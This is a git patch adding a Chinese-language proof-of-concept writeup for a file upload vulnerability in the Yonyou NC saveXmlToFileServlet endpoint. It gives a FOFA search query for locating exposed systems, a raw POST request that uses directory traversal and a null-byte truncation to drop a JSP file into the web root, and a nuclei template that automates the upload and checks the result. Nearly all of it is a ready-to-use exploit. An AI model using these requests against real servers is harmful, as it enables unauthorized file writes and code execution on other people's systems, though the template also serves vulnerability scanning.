From b6cb6c7462d4b14aa494d6316cc2470078c1e6e4 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Mon, 1 Apr 2024 19:43:55 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E7=94=A8=E5=8F=8BNC=E6=8E=A5=E5=8F=A3?=
 =?UTF-8?q?saveXmlToFIleServlet=E5=AD=98=E5=9C=A8=E6=96=87=E4=BB=B6?=
 =?UTF-8?q?=E4=B8=8A=E4=BC=A0.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 用友NC接口saveXmlToFIleServlet存在文件上传.md | 54 +++++++++++++++++++
 1 file changed, 54 insertions(+)
 create mode 100644 用友NC接口saveXmlToFIleServlet存在文件上传.md

diff --git a/用友NC接口saveXmlToFIleServlet存在文件上传.md b/用友NC接口saveXmlToFIleServlet存在文件上传.md
new file mode 100644
index 0000000..cbf610d
--- /dev/null
+++ b/用友NC接口saveXmlToFIleServlet存在文件上传.md
@@ -0,0 +1,54 @@
+## 用友NC接口saveXmlToFIleServlet存在文件上传
+
+/portal/pt/servlet/saveXmlToFileServlet/doPost接口会保存xml文档到服务器一个路径下，默认会添加.xml后缀，通过Windows的文件名特性可截断.xml文件后缀。再通过目录穿越可上传jsp文件到nc_web目录下。
+
+
+## fofa
+```
+title:"YONYOU NC"
+```
+
+
+## poc
+```
+POST /portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=..\\..\\..\\webapps\\nc_web\\test9527.jsp%00 HTTP/1.1
+Host: xxxxx
+Content-Type: application/octet-stream
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+
+123
+
+```
+
+## nuclei
+```nuclei
+id: yonyou-uap-saveXmlToFileServlet-upload-file
+info:
+  name: yonyou-uap-saveXmlToFileServlet-upload-file
+  author: qianbenhyu
+  severity: high
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=..\\..\\..\\webapps\\nc_web\\{{randstr_1}}.jsp%00"
+    headers:
+      Cookie: LA_K1=langid
+      serverEnable: localserver
+      Accept-Encoding: gzip, x-gzip, deflate
+      Content-Length: 27
+      Content-Type: application/octet-stream
+      Content-Encoding: UTF_8
+      Connection: keep-alive
+      User-Agent: Apache-HttpClient/5.2.1 (Java/1.8.0_202)
+    body: "{{randstr_2}}"
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/{{randstr_1}}.jsp"
+    matchers:
+      - type: word
+        words:
+          - "{{randstr_2}}"
+
+```